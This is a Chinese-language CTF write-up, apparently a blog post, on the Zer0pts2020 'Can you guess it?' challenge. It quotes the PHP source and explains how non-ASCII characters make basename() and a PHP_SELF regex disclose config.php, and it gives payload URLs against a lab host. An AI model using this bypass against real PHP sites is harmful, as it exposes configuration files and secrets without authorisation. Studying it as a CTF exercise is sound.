[Zer0pts2020]Can you guess it?

[Zer0pts2020]Can you guess it?

1.首先在输我是在输入框里输入1发现对应的是post方式传入guess=1,然后就想着跟guess有关系

2.然后点source显示了源码,后面没思路,发现根本和post没有关系,漏洞在basename函数上

 原理:在使用默认语言环境设置时,basename() 会删除文件名开头的非 ASCII 字符。

ascii值为47、128-255的字符均可以绕过basename()
其中47对应的符号为'/',在实际场景中没有利用价值
那么也就是说我们可以利用一部分不可见字符来绕过basename()
同时,在测试中也可以发现中文字符也是可以绕过basename()
例如汉字、?(中文问号)、《、》、;等中文字符

http://localhost/?file=%ffindex.php/%ff
  //index.php
http://localhost/?file=%ffindex.php
  //index.php
http://localhost/?file=index.php%ff
  //index.php
http://localhost/?file=index.php/%2b
  //+

 

<?php
include 'config.php'; // FLAG is defined in config.php

  //$_SERVER['PHP_SELF']代表的当前php文件的绝对路径

  //比如现在这个文件是在var/www/html/index.php,那么$_SERVER['PHP_SELF']代表的就是index.php

if (preg_match('/config\.php\/*$/i', $_SERVER['PHP_SELF'])) {
  exit("I don't know what you are thinking, but I won't let you read it :)");
}
这段意思是当前绝对路径不能有config.php,因为这里是index.php的源码,正常访问config.php没有问题,但是不能访问index.php/config.php
而且这个正则匹配只匹配路径的尾巴,因此index.php/config.php/abc.php就能绕过正则,因此思路就很明确了结合上面的basename介绍,就是在末尾加上
特定字符绕过正则后能被basename函数消去
而且一定要存在source,否则都无法触发basename函数。

下面这段就是干扰你思路的,一点用没有
if (isset($_GET['source'])) { highlight_file(basename($_SERVER['PHP_SELF'])); exit(); } $secret = bin2hex(random_bytes(64)); if (isset($_POST['guess'])) { $guess = (string) $_POST['guess']; if (hash_equals($secret, $guess)) { $message = 'Congratulations! The flag is: ' . FLAG; } else { $message = 'Wrong.'; } } ?> <!doctype html> <html lang="en"> <head> <meta charset="utf-8"> <title>Can you guess it?</title> </head> <body> <h1>Can you guess it?</h1> <p>If your guess is correct, I'll give you the flag.</p> <p><a href="?source">Source</a></p> <hr> <?php if (isset($message)) { ?> <p><?= $message ?></p> <?php } ?> <form action="index.php" method="POST"> <input type="text" name="guess"> <input type="submit"> </form> </body> </html>

3.代码审计完,那思路就很简单了

直接payload:http://794a3493-8c5c-420d-9e02-25fae44d1d16.node4.buuoj.cn:81/index.php/config/[]?source    []可以写  ?(等等中文符号)、人(等等汉字)

 

posted @ 2022-06-29 20:35  L0VEhzzz  阅读(151)  评论(0编辑  收藏  举报